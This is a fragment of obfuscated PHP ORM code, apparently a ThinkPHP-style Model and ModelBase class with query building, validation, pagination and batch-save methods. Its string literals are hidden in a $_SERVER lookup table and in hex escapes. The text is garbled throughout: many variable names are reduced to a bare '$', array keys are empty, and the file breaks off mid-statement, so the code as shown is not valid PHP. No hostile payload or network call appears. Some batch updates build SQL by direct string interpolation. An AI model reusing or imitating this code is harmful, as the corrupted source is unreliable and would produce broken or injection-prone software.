_options_filter(&$灑) { } protected function _parseType(&$٘, $) { $ֿ =& $_SERVER[]; if (empty($this->options[$ֿ[361]][$ֿ[4] . $])) { $ = strtolower($this->fields[$ֿ[329]][$]); if (!1 !== strpos($, $ֿ[362])) { } elseif (!1 === strpos($, $ֿ[363]) && !1 !== strpos($, $ֿ[364])) { $٘[$] = intval($٘[$]); } elseif (!1 !== strpos($, $ֿ[365]) || !1 !== strpos($, $ֿ[366])) { $٘[$] = floatval($٘[$]); } elseif (!1 !== strpos($, $ֿ[367])) { $٘[$] = (bool) $٘[$]; } } } public function find($ڥ = array()) { $ԝ =& $_SERVER[]; if (is_numeric($ڥ) || is_string($ڥ)) { $ݏ[$this->getPk()] = intval($ڥ); $this->options[$ԝ[352]] = $ݏ; } $this->options[$ԝ[368]] = 1; $ڥ = $this->_parseOptions(); $ = $this->db->select($ڥ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ڥ); if (!empty($this->options[$ԝ[369]])) { return $this->returnResult($this->data, $this->options[$ԝ[369]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($ΐ, $槨 = '') { $Ƒ =& $_SERVER[]; if ($槨) { if (is_callable($槨)) { return call_user_func($槨, $ΐ); } switch (strtolower($槨)) { case $Ƒ[370]: return json_encode($ΐ); case $Ƒ[371]: return xml_encode($ΐ); } } return $ΐ; } public function parseFieldsMap($∘, $Ԛ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ِ => $Ӿ) { if ($Ԛ == 1) { if (isset($∘[$Ӿ])) { $∘[$ِ] = $∘[$Ӿ]; unset($∘[$Ӿ]); } } else { if (isset($∘[$ِ])) { $∘[$Ӿ] = $∘[$ِ]; unset($∘[$ِ]); } } } } return $∘; } public function setField($ቁ, $ϊ = '') { if (is_array($ቁ)) { $݅ = $ቁ; } else { $݅[$ቁ] = $ϊ; } return $this->save($݅); } public function setAdd($, $Ͻ = 1) { $ǯ櫈 =& $_SERVER[]; $ = $ . $ǯ櫈[372] . $Ͻ; if ($Ͻ < 0) { $ = $ . $Ͻ; } return $this->setField($, array($ǯ櫈[373], $)); } public function getField($͌, $ = null) { $𨊛 =& $_SERVER[]; $ڼ[$𨊛[350]] = $͌; $ڼ = $this->_parseOptions($ڼ); $͌ = trim($͌); if (strpos($͌, $𨊛[50])) { if (!isset($ڼ[$𨊛[368]])) { $ڼ[$𨊛[368]] = is_numeric($) ? $ : $𨊛[12]; } $ġ = $this->db->select($ڼ); if (!empty($ġ)) { $ώ = explode($𨊛[50], $͌); $͌ = array_keys($ġ[0]); $ޒ = array_shift($͌); $۸ = array_shift($͌); $݆ = array(); $߈ = count($ώ); foreach ($ġ as $߅) { $ = $߅[$ޒ]; if (2 == $߈) { $݆[$] = $߅[$۸]; } else { $݆[$] = is_string($) ? implode($, $߅) : $߅; } } return $݆; } } else { if (!0 !== $) { $ڼ[$𨊛[368]] = is_numeric($) ? $ : 1; } if ($ === $𨊛[332]) { unset($ڼ[$𨊛[368]]); } $߅ = $this->db->select($ڼ); if (!empty($߅)) { if ($ === $𨊛[332]) { return reset($߅[0]); } if (!0 !== $ && 1 == $ڼ[$𨊛[368]]) { return reset($߅[0]); } foreach ($߅ as $) { $ۍ[] = $[$͌]; } return $ۍ; } } return null; } public function create($ = '', $Ù = '') { $» =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($»[348]); return !1; } $ = $this->parseFieldsMap($, 0); $Ù = $Ù ? $Ù : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$»[350]])) { $ = $this->options[$»[350]]; unset($this->options[$»[350]]); } elseif ($Ù == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($Ù == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($»[50], $); } if (think_config($»[374])) { $[] = think_config($»[375]); } foreach ($ as $ڛ => $) { if (!in_array($ڛ, $)) { unset($[$ڛ]); } } } if (!$this->autoValidation($, $Ù)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($»[376]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ڛ => $) { if (!in_array($ڛ, $)) { unset($[$ڛ]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$ڛ] = stripslashes($); } } } $this->autoOperation($, $Ù); $this->data = $; return $; } public function autoCheckToken($ȧ) { $諹 =& $_SERVER[]; if (isset($this->options[$諹[377]]) && !$this->options[$諹[377]]) { return !0; } if (think_config($諹[374])) { $Ջ = think_config($諹[375]); if (!isset($ȧ[$Ջ]) || Session::get($Ջ)) { return !1; } list($ӄ, $Ʒ) = explode($諹[11], $ȧ[$Ջ]); if ($Ʒ && Session::get($Ջ . $諹[10] . $ӄ) === $Ʒ) { Session::remove($Ջ . $諹[10] . $ӄ); return !0; } if (think_config($諹[378])) { Session::remove($Ջ . $諹[10] . $ӄ); } return !1; } return !0; } public function regex($, $̻) { $ݗɱ =& $_SERVER[]; $ß = array($ݗɱ[379] => $ݗɱ[380], $ݗɱ[381] => $ݗɱ[382], $ݗɱ[383] => $ݗɱ[384], $ݗɱ[385] => $ݗɱ[386], $ݗɱ[387] => $ݗɱ[388], $ݗɱ[389] => $ݗɱ[390], $ݗɱ[391] => $ݗɱ[392], $ݗɱ[366] => $ݗɱ[393], $ݗɱ[394] => $ݗɱ[395]); if (isset($ß[strtolower($̻)])) { $̻ = $ß[strtolower($̻)]; } return preg_match($̻, $) === 1; } private function autoOperation(&$, $) { $ҁ =& $_SERVER[]; if (!empty($this->options[$ҁ[396]])) { $ߙЦ = $this->options[$ҁ[396]]; unset($this->options[$ҁ[396]]); } elseif (!empty($this->_auto)) { $ߙЦ = $this->_auto; } if (isset($ߙЦ)) { foreach ($ߙЦ as $ߍ) { if (empty($ߍ[2])) { $ߍ[2] = THINK_MODEL_INSERT; } if ($ == $ߍ[2] || $ߍ[2] == THINK_MODEL_BOTH) { switch (trim($ߍ[3])) { case $ҁ[397]: case $ҁ[398]: $ = isset($ߍ[4]) ? (array) $ߍ[4] : array(); if (isset($[$ߍ[0]])) { array_unshift($, $[$ߍ[0]]); } if ($ҁ[397] == $ߍ[3]) { $[$ߍ[0]] = call_user_func_array($ߍ[1], $); } else { $[$ߍ[0]] = call_user_func_array(array(&$this, $ߍ[1]), $); } break; case $ҁ[350]: $[$ߍ[0]] = $[$ߍ[1]]; break; case $ҁ[399]: if ($ҁ[12] === $[$ߍ[0]]) { unset($[$ߍ[0]]); } break; case $ҁ[400]: default: $[$ߍ[0]] = $ߍ[1]; } if (!1 === $[$ߍ[0]]) { unset($[$ߍ[0]]); } } } } return $; } protected function autoValidation($ܟ, $ɷ) { $ =& $_SERVER[]; if (!empty($this->options[$[401]])) { $䨇 = $this->options[$[401]]; unset($this->options[$[401]]); } elseif (!empty($this->_validate)) { $䨇 = $this->_validate; } if (isset($䨇)) { if ($this->patchValidate) { $this->error = array(); } foreach ($䨇 as $܂ => $֬) { if (empty($֬[5]) || $֬[5] == THINK_MODEL_BOTH || $֬[5] == $ɷ) { if (0 == strpos($֬[2], $[402]) && strpos($֬[2], $[403])) { $֬[2] = think_lang(substr($֬[2], 2, -1)); } $֬[3] = isset($֬[3]) ? $֬[3] : THINK_EXISTS_VALIDATE; $֬[4] = isset($֬[4]) ? $֬[4] : $[404]; switch ($֬[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ܟ, $֬)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($ܟ[$֬[0]])) { if (!1 === $this->_validationField($ܟ, $֬)) { return !1; } } break; default: if (isset($ܟ[$֬[0]])) { if (!1 === $this->_validationField($ܟ, $֬)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($ֆ, $뛾) { if (!1 === $this->_validationFieldItem($ֆ, $뛾)) { if ($this->patchValidate) { $this->error[$뛾[0]] = $뛾[2]; } else { $this->error = $뛾[2]; return !1; } } return; } protected function _validationFieldItem($ʘ, $) { $֫ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $֫[397]: case $֫[398]: $Ơԃ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $֫[50])) { $[0] = explode($֫[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $º) { $Ͷ[$º] = $ʘ[$º]; } array_unshift($Ơԃ, $Ͷ); } else { array_unshift($Ơԃ, $ʘ[$[0]]); } if ($֫[397] == $[4]) { return call_user_func_array($[1], $Ơԃ); } else { return call_user_func_array(array(&$this, $[1]), $Ơԃ); } case $֫[405]: return $ʘ[$[0]] == $ʘ[$[1]]; case $֫[406]: if (is_string($[0]) && strpos($[0], $֫[50])) { $[0] = explode($֫[50], $[0]); } $ = array(); if (is_array($[0])) { foreach ($[0] as $º) { $[$º] = $ʘ[$º]; } } else { $[$[0]] = $ʘ[$[0]]; } if (!empty($ʘ[$this->getPk()])) { $[$this->getPk()] = array($֫[407], $ʘ[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($ʘ[$[0]], $[1], $[4]); } } public function check($ߵ, $߮ퟐ, $ = "\x72\145\x67\145\170") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[408]: $ = is_array($߮ퟐ) ? $߮ퟐ : explode($[50], $߮ퟐ); return $ == $[7] ? in_array($ߵ, $) : !in_array($ߵ, $); case $[409]: case $[410]: if (is_array($߮ퟐ)) { $ܛ = $߮ퟐ[0]; $̹ = $߮ퟐ[1]; } else { list($ܛ, $̹) = explode($[50], $߮ퟐ); } return $ == $[409] ? $ߵ >= $ܛ && $ߵ <= $̹ : $ߵ < $ܛ || $ߵ > $̹; case $[411]: case $[412]: return $ == $[411] ? $ߵ == $߮ퟐ : $ߵ != $߮ퟐ; case $[413]: $ = mb_strlen($ߵ, $[414]); if (strpos($߮ퟐ, $[50])) { list($ܛ, $̹) = explode($[50], $߮ퟐ); return $ >= $ܛ && $ <= $̹; } else { return $ == $߮ퟐ; } case $[415]: list($ȋ, $Ӳ) = explode($[50], $߮ퟐ); if (!is_numeric($ȋ)) { $ȋ = strtotime($ȋ); } if (!is_numeric($Ӳ)) { $Ӳ = strtotime($Ӳ); } return NOW_TIME >= $ȋ && NOW_TIME <= $Ӳ; case $[416]: return in_array(get_client_ip(), explode($[50], $߮ퟐ)); case $[417]: return !in_array(get_client_ip(), explode($[50], $߮ퟐ)); case $[404]: default: return $this->regex($ߵ, $߮ퟐ); } } public function query($焺, $ = false) { $߃ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $焺 = str_replace(array($߃[262], $߃[418]), $߃[53], $焺); $焺 = $this->parseSql($焺, $); return $this->db->query($焺); } public function execute($, $ڤ = false) { if (!is_bool($ڤ) && !is_array($ڤ)) { $ڤ = func_get_args(); array_shift($ڤ); } $ = $this->parseSql($, $ڤ); return $this->db->execute($); } protected function parseSql($, $شŅ) { $ޜ =& $_SERVER[]; if (!0 === $شŅ) { $ݾ = $this->_parseOptions(); $ = $this->db->parseSql($, $ݾ); } elseif (is_array($شŅ)) { $شŅ = array_map(array($this->db, $ޜ[419]), $شŅ); $ = vsprintf($, $شŅ); } else { $ = strtr($, array($ޜ[420] => $this->getTableName(), $ޜ[421] => think_config($ޜ[321]))); } $this->db->setModel($this->name); return $; } public function db($֔ = '', $ȆǛ = '', $ = array()) { $蓤֡ =& $_SERVER[]; if ($蓤֡[12] === $֔ && $this->db) { return $this->db; } static $ = array(); static $ۥه = array(); if (!isset($ۥه[$֔]) || isset($ۥه[$֔]) && $ȆǛ && $[$֔] != $ȆǛ) { if (!empty($ȆǛ) && is_string($ȆǛ) && !1 === strpos($ȆǛ, $蓤֡[8])) { $ȆǛ = think_config($ȆǛ); } $֔ = think_guid($ȆǛ); $ۥه[$֔] = Db::getInstance($ȆǛ); } elseif (NULL === $ȆǛ) { $ۥه[$֔]->close(); unset($ۥه[$֔]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $ε) { $this->setProperty($, $ε); } } $[$֔] = $ȆǛ; $this->db = $ۥه[$֔]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ꇃ = get_class($this); if ($ꇃ == $_SERVER[][422]) { return $this->name; } $this->name = substr($ꇃ, 0, -5); } return $this->name; } public function getTableName() { $ڋ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $ڋ[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $ڋ[10] : $ڋ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ȳ =& $_SERVER[]; return isset($this->fields[$ȳ[328]]) ? $this->fields[$ȳ[328]] : $this->pk; } public function getDbFields() { $ܒ =& $_SERVER[]; if (isset($this->options[$ܒ[356]])) { $ܑ = $this->db->getFields($this->options[$ܒ[356]]); return $ܑ ? array_keys($ܑ) : !1; } if ($this->fields) { $ܑ = $this->fields; unset($ܑ[$ܒ[327]], $ܑ[$ܒ[328]], $ܑ[$ܒ[329]], $ܑ[$ܒ[326]]); return $ܑ; } return !1; } public function data($ij = '') { $ =& $_SERVER[]; if ($[12] === $ij && !empty($this->data)) { return $this->data; } if (is_object($ij)) { $ij = get_object_vars($ij); } elseif (is_string($ij)) { parse_str($ij, $ij); } elseif (!is_array($ij)) { think_exception(think_lang($[348])); } $this->data = $ij; return $this; } public function join($Қ) { $ =& $_SERVER[]; if (is_array($Қ)) { $this->options[$[359]] = $Қ; } elseif (!empty($Қ)) { $this->options[$[359]][] = $Қ; } return $this; } public function union($, $ˌ = false) { $ =& $_SERVER[]; if (empty($)) { return $this; } if ($ˌ) { $this->options[$[423]][$[424]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $Ӄ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[423]] = array_merge($this->options[$[423]], $); return $this; } else { $Ӄ = $; } } else { think_exception(think_lang($[348])); } $this->options[$[423]][] = $Ӄ; return $this; } public function cache($ = true, $ = null, $Ȕ߮ = '') { $݈ռ =& $_SERVER[]; if (!1 !== $) { $this->options[$݈ռ[425]] = array($݈ռ[97] => $, $݈ռ[415] => $, $݈ռ[33] => $Ȕ߮); } return $this; } public function field($, $寃 = false) { $Ћ =& $_SERVER[]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $Ћ[220]; } elseif ($寃) { if (is_string($)) { $ = explode($Ћ[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$Ћ[350]] = $; return $this; } public function scope($͔ = '', $ = NULL) { $Íͩ =& $_SERVER[]; if ($Íͩ[12] === $͔) { if (isset($this->_scope[$Íͩ[37]])) { $ڎ = $this->_scope[$Íͩ[37]]; } else { return $this; } } elseif (is_string($͔)) { $ڇ = explode($Íͩ[50], $͔); $ڎ = array(); foreach ($ڇ as $) { if (!isset($this->_scope[$])) { continue; } $ڎ = array_merge($ڎ, $this->_scope[$]); } if (!empty($) && is_array($)) { $ڎ = array_merge($ڎ, $); } } elseif (is_array($͔)) { $ڎ = $͔; } if (is_array($ڎ) && !empty($ڎ)) { $this->options = array_merge($this->options, array_change_key_case($ڎ)); } return $this; } public function where($ޅ, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($ޅ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[419]), $); $ޅ = vsprintf($ޅ, $); } elseif (is_object($ޅ)) { $ޅ = get_object_vars($ޅ); } elseif (is_array($ޅ)) { foreach ($ޅ as $Ϻ => $惘) { if ((is_numeric($Ϻ) || !$Ϻ) && is_string($惘)) { if (strpos($惘, $[426]) === 0) { continue; } think_trace($[427], $[12], $[49]); die; } } } if (is_string($ޅ) && $[12] != $ޅ) { $ = array(); $[$[428]] = $ޅ; $ޅ = $; } if (isset($this->options[$[352]])) { $this->options[$[352]] = array_merge($this->options[$[352]], $ޅ); } else { $this->options[$[352]] = $ޅ; } return $this; } public function limit($, $ߧ = null) { $ =& $_SERVER[]; $this->options[$[368]] = is_null($ߧ) ? $ : $ . $[50] . $ߧ; return $this; } public function page($˫ڔ, $ = null) { $ =& $_SERVER[]; $this->options[$[429]] = is_null($) ? $˫ڔ : $˫ڔ . $[50] . $; return $this; } public function comment($먈) { $this->options[$_SERVER[][430]] = $먈; return $this; } public function setProperty($ݥ, $ܢ) { if (property_exists($this, $ݥ)) { $this->{$ݥ} = $ܢ; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\144\151\146\x79\124\x69\155\145", "\x74\x69\x6d\x65", "\x69\x6e\x73\x65\162\x74\54\165\160\144\141\164\145", "\x66\165\156\x63\164\151\157\x6e"), array("\x63\x72\x65\x61\x74\145\x54\x69\x6d\x65", "\164\151\x6d\145", "\x69\156\x73\145\x72\164", "\x66\165\156\x63\164\151\157\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ = '', $ = '') { parent::__construct($, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$ճ, $ĭ) { $ߘ =& $_SERVER[]; if (!$this->checkDataAutoHas($ߘ[431])) { return; } $this->dataBeforeFilter($ճ, $ߘ[431]); } protected function _beforeUpdate(&$š, $͐) { $ȱ =& $_SERVER[]; if (!$this->checkDataAutoHas($ȱ[432])) { return; } $this->dataBeforeFilter($š, $ȱ[432]); } protected function _afterSelect(&$, $ئ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][433])) { return; } foreach ($ as &$ً) { $this->dataAfterFilter($ً); } unset($ً); } protected function _afterFind(&$귞, $) { if (!is_array($귞)) { return; } if (!$this->checkDataAutoHas($_SERVER[][433])) { return; } $this->dataAfterFilter($귞); } public static function textEncode($ͧΌӑ) { if (!$ͧΌӑ) { return $ͧΌӑ; } $Ӊ = json_encode($ͧΌӑ); $Ӊ = preg_replace_callback($_SERVER[][434], function ($) { return addslashes($[0]); }, $Ӊ); return json_decode($Ӊ); } public static function textDecode($) { $̹ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($̹[435], function ($) { return $_SERVER[][100]; }, $); return json_decode($); } public function setAutoIncrement($ш) { $ = array($this->getPk() => $ш); $鰡߯ = $this->data($)->add(); if ($鰡߯) { $this->delete($鰡߯); } } public function getAutoIncrement() { $ = $this->getTableName(); $ϡ = $this->max($this->getPk()); $ة = $this->query("\163\150\x6f\x77\40\164\141\x62\x6c\x65\x20\x73\164\141\x74\x75\163\x20\x77\150\x65\x72\145\x20\x4e\141\155\145\75\x27{$}\47"); $Ń = $ة[0][$_SERVER[][436]]; $ = max($ϡ, $Ń); return $; } protected function _callBefore($ͦЧ, $) { return $this->cacheCallCheck($ͦЧ, $, !1); } protected function _callAfter($ʪ, $ȁע) { return $this->cacheCallCheck($ʪ, $ȁע, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $úϼ, $ = false) { $ = $this->cacheFunctionAlias($úϼ); if (!$) { return; } foreach ($ as $ԙ => $Ӕ) { $͌ = $Ӕ[0]; $허À = explode($_SERVER[][50], $Ӕ[1]); if ($ == $ԙ) { return $this->cacheFunctionGet($ԙ, $͌); } if ($ && in_array($, $허À)) { $this->cacheFunctionClear($ԙ, $͌); } } } public function cacheFunctionGet($֬, $) { $טі = $this->cacheKeyMake($֬, $); $ߍ = Cache::get($טі); if (!is_array($ߍ)) { $ߍ = call_user_func_array(array($this, $֬), array($, !0)); Cache::set($טі, $ߍ); } return $ߍ; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($, $ә) { $ޜ =& $_SERVER[]; return get_class($this) . $ޜ[11] . $ . $ޜ[437] . $ә; } protected function selectPageReset() { $߄߂ =& $_SERVER[]; if (isset($GLOBALS[$߄߂[438]])) { return; } $GLOBALS[$߄߂[438]] = isset($GLOBALS[$߄߂[7]][$߄߂[439]]) ? $GLOBALS[$߄߂[7]][$߄߂[439]] : !1; $GLOBALS[$߄߂[440]] = isset($GLOBALS[$߄߂[7]][$߄߂[429]]) ? $GLOBALS[$߄߂[7]][$߄߂[429]] : !1; $GLOBALS[$߄߂[7]][$߄߂[439]] = !1; $GLOBALS[$߄߂[7]][$߄߂[429]] = !1; } protected function selectPageRestore() { $ے =& $_SERVER[]; if (!isset($GLOBALS[$ے[438]])) { return; } $GLOBALS[$ے[7]][$ے[439]] = $GLOBALS[$ے[438]]; $GLOBALS[$ے[7]][$ے[429]] = $GLOBALS[$ے[440]]; if ($GLOBALS[$ے[7]][$ے[439]] === !1) { unset($GLOBALS[$ے[7]][$ے[439]]); } if ($GLOBALS[$ے[7]][$ے[429]] === !1) { unset($GLOBALS[$ے[7]][$ے[429]]); } unset($GLOBALS[$ے[438]]); unset($GLOBALS[$ے[440]]); } protected function selectPage($ = 200, $ = 1) { $ԑ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$ԑ[439]]) && $in[$ԑ[439]] ? $in[$ԑ[439]] : $; if ($ === -1) { $in[$ԑ[439]] = !1; $ = 100000000; $ = $; } $ = $; $[$ԑ[441]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ = intval(isset($in[$ԑ[429]]) && $in[$ԑ[429]] ? $in[$ԑ[429]] : $); $ = $ <= 1 ? 1 : $; $ތ = array(); $ = 1; if ($ == 1 && $) { $this->optionsValue($); $ތ = $this->page($, $)->select(); $ = is_array($ތ) ? count($ތ) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); $ = $ >= $ ? $ : $; $this->optionsValue($); $ތ = $this->page($, $)->select(); } if (!is_array($ތ)) { $ތ = array(); } if ($ == 1) { $ = count($ތ); } $ = array($ԑ[442] => array($ԑ[443] => $, $ԑ[439] => $, $ԑ[429] => $, $ԑ[444] => $), $ԑ[445] => $ތ); return $; } protected function checkLength($̉ˆ, $ = 0, $ij詷 = '') { $Ƭ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$̉ˆ || strlen($̉ˆ) < $) { return; } $ij詷 = $ij詷 ? $ij詷 . $Ƭ[74] : $Ƭ[12]; show_json($ij詷 . LNG($Ƭ[446]) . "\50{$}\x29", !1); } protected function metaSet($, $Ο = null, $Ϛ = null) { $Ν =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$Ν[447]]; $ = $this->tableMeta[$Ν[448]]; $ = Model($); $Ѳ = array($ => $, $Ν[449] => $Ο); if (is_null($Ο)) { return $->where(array($ => $))->delete(); } if (is_null($Ϛ) && is_string($Ο)) { return $->where($Ѳ)->delete(); } $ = is_array($Ο) ? $Ο : array(); if (is_string($Ο)) { $[$Ο] = $Ϛ; } $ = array(); foreach ($ as $ => $ٽ) { if (is_null($ٽ) && is_string($)) { $->where(array($ => $, $Ν[449] => $))->delete(); continue; } $this->checkLength($ٽ, !1, $ . $Ν[4] . $); $[] = array($ => $, $Ν[97] => $, $Ν[450] => $ٽ); } $Ć = $Ν[451] . $; CacheLock::lock($Ć); $->where(array($ => $))->addAll($, array(), !0); CacheLock::unlock($Ć); return !0; } public function metaGet($ᔶ, $Ј = false) { $Ô =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $疅 = $this->tableMeta[$Ô[447]]; $ = Model($this->tableMeta[$Ô[448]]); if ($Ј) { $ۋ = array($疅 => $ᔶ, $Ô[97] => $Ј); return $->where($ۋ)->getField($Ô[450]); } $ۋ = array($疅 => $ᔶ); $ = $->field($Ô[452])->where($ۋ)->select(); $ = array_to_keyvalue($, $Ô[97], $Ô[450]); return $; } private function checkDataAutoHas($ͪ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($ͪ, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $餱) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $) { $ā = $[0]; if (!in_array($餱, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[397]: case $[398]: $Я = $[1]; $傄 = isset($[4]) ? (array) $[4] : array(); if ($Я == $[206] && array_key_exists($ā, $)) { if (!$[$ā]) { unset($[$ā]); } break; } if (isset($[$ā])) { array_unshift($傄, $[$ā]); } if ($[397] == $[3]) { $[$ā] = call_user_func_array($Я, $傄); } else { $[$ā] = call_user_func_array(array(&$this, $Я), $傄); } break; case $[347]: if (isset($[$ā]) && $[$ā]) { $[$ā] = call_user_func_array(array(&$this, $[1]), array($[$ā])); } break; case $[350]: $[$ā] = $[$[1]]; break; case $[370]: if (isset($[$ā]) && !is_string($[$ā])) { $[$ā] = json_encode_force($[$ā]); } break; case $[399]: if ($[$ā] === $[12]) { unset($[$ā]); } break; case $[400]: $[$ā] = $[1]; default: break; } } if ($餱 == $[431]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ޡ = $[$[329]]; if (isset($[$[328]])) { unset($ޡ[$[$[328]]]); } foreach ($ޡ as $م֓ => $餱) { if (!isset($[$م֓])) { $[$م֓] = $[12]; } } } } private function dataAfterFilter(&$) { $ۂހ =& $_SERVER[]; foreach ($this->dataAuto as $ď) { $Վ = $ď[0]; if (!isset($[$Վ])) { continue; } if (!in_array($ۂހ[433], explode($ۂހ[50], $ď[2]))) { continue; } switch (trim($ď[3])) { case $ۂހ[397]: case $ۂހ[398]: $Ґ = isset($ď[4]) ? (array) $ď[4] : array(); array_unshift($Ґ, $[$Վ]); if (isset($ď[4]) && $ď[4] == $ۂހ[453]) { $Ґ = array($[$Վ]); } if ($ۂހ[397] == $ď[3]) { $[$Վ] = call_user_func_array($ď[1], $Ґ); } else { $[$Վ] = call_user_func_array(array(&$this, $ď[1]), $Ґ); } break; case $ۂހ[347]: if (isset($[$Վ]) && $[$Վ]) { $[$Վ] = call_user_func_array(array(&$this, $ď[1]), array($[$Վ])); } break; case $ۂހ[350]: $[$Վ] = $[$ď[1]]; break; case $ۂހ[370]: $ù = $[$Վ]; $[$Վ] = json_decode($ù, !0); if (is_null($[$Վ])) { $[$Վ] = $ù; } break; case $ۂހ[399]: if ($[$Վ] === $ۂހ[12]) { unset($[$Վ]); } break; case $ۂހ[400]: $[$Վ] = $ď[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ۂ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $Ȇ = $[454]; $ = 0; $ϱ = array(); $ = count($); for ($ē = 0; $ē < $; $ē++) { $Ʈ = $[$ē]; if (!is_array($Ʈ) || count($Ʈ) != 4) { continue; } $ = "\x55\x50\x44\101\x54\x45\40\x60{$}\140\40\123\105\x54\40{$Ʈ[2]}\40\x3d\x20\103\x41\123\105\x20{$Ʈ[0]}\x20\xa"; if ($ == 0) { $Ȇ = $; } $ϱ[] = $[121] . $Ʈ[1] . $[121]; $++; $Ȇ .= "\40\x57\x48\x45\x4e\40\47{$Ʈ[1]}\47\40\x54\110\x45\116\40\x27{$Ʈ[3]}\47\40\xa"; if ($ == $ۂ || $ē == $ - 1) { $́ = implode($[50], $ϱ); $Ȇ .= "\40\105\116\x44\40\40\127\x48\105\x52\105\40{$Ʈ[0]}\x20\111\x4e\40\50{$́}\x29\40"; $this->execute($Ȇ); $ = 0; $Ȇ = $; $this->chunkEventCheck(count($ϱ)); $ϱ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ޫ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ᓞ = $[0] . $[455] . $[1] . $[121]; $ֆ = $[2] . $[455] . $[3] . $[121]; $᭦ = "\165\160\144\x61\x74\x65\40{$ޫ}\40\x73\x65\164\x20{$ֆ}\x20\x77\150\x65\162\145\x20{$ᓞ}\x3b"; $this->execute($᭦); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($Û) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][456]] = $Û; Hook::trigger($this->_chunkEvent, $); } public function addAll($ѱ, $٧ñ = array(), $שН = false) { $˫ =& $_SERVER[]; ignore_timeout(); $Ǹ = self::SQL_WHERE_IN_CHUNK; if (empty($ѱ)) { $this->error = think_lang($˫[348]); return !1; } $٧ñ = $this->_parseOptions($٧ñ); foreach ($ѱ as $Ѹ => $) { $ѱ[$Ѹ] = $this->_facade($); $this->_beforeInsert($ѱ[$Ѹ], $٧ñ); } if (method_exists($this->db, $˫[349])) { for 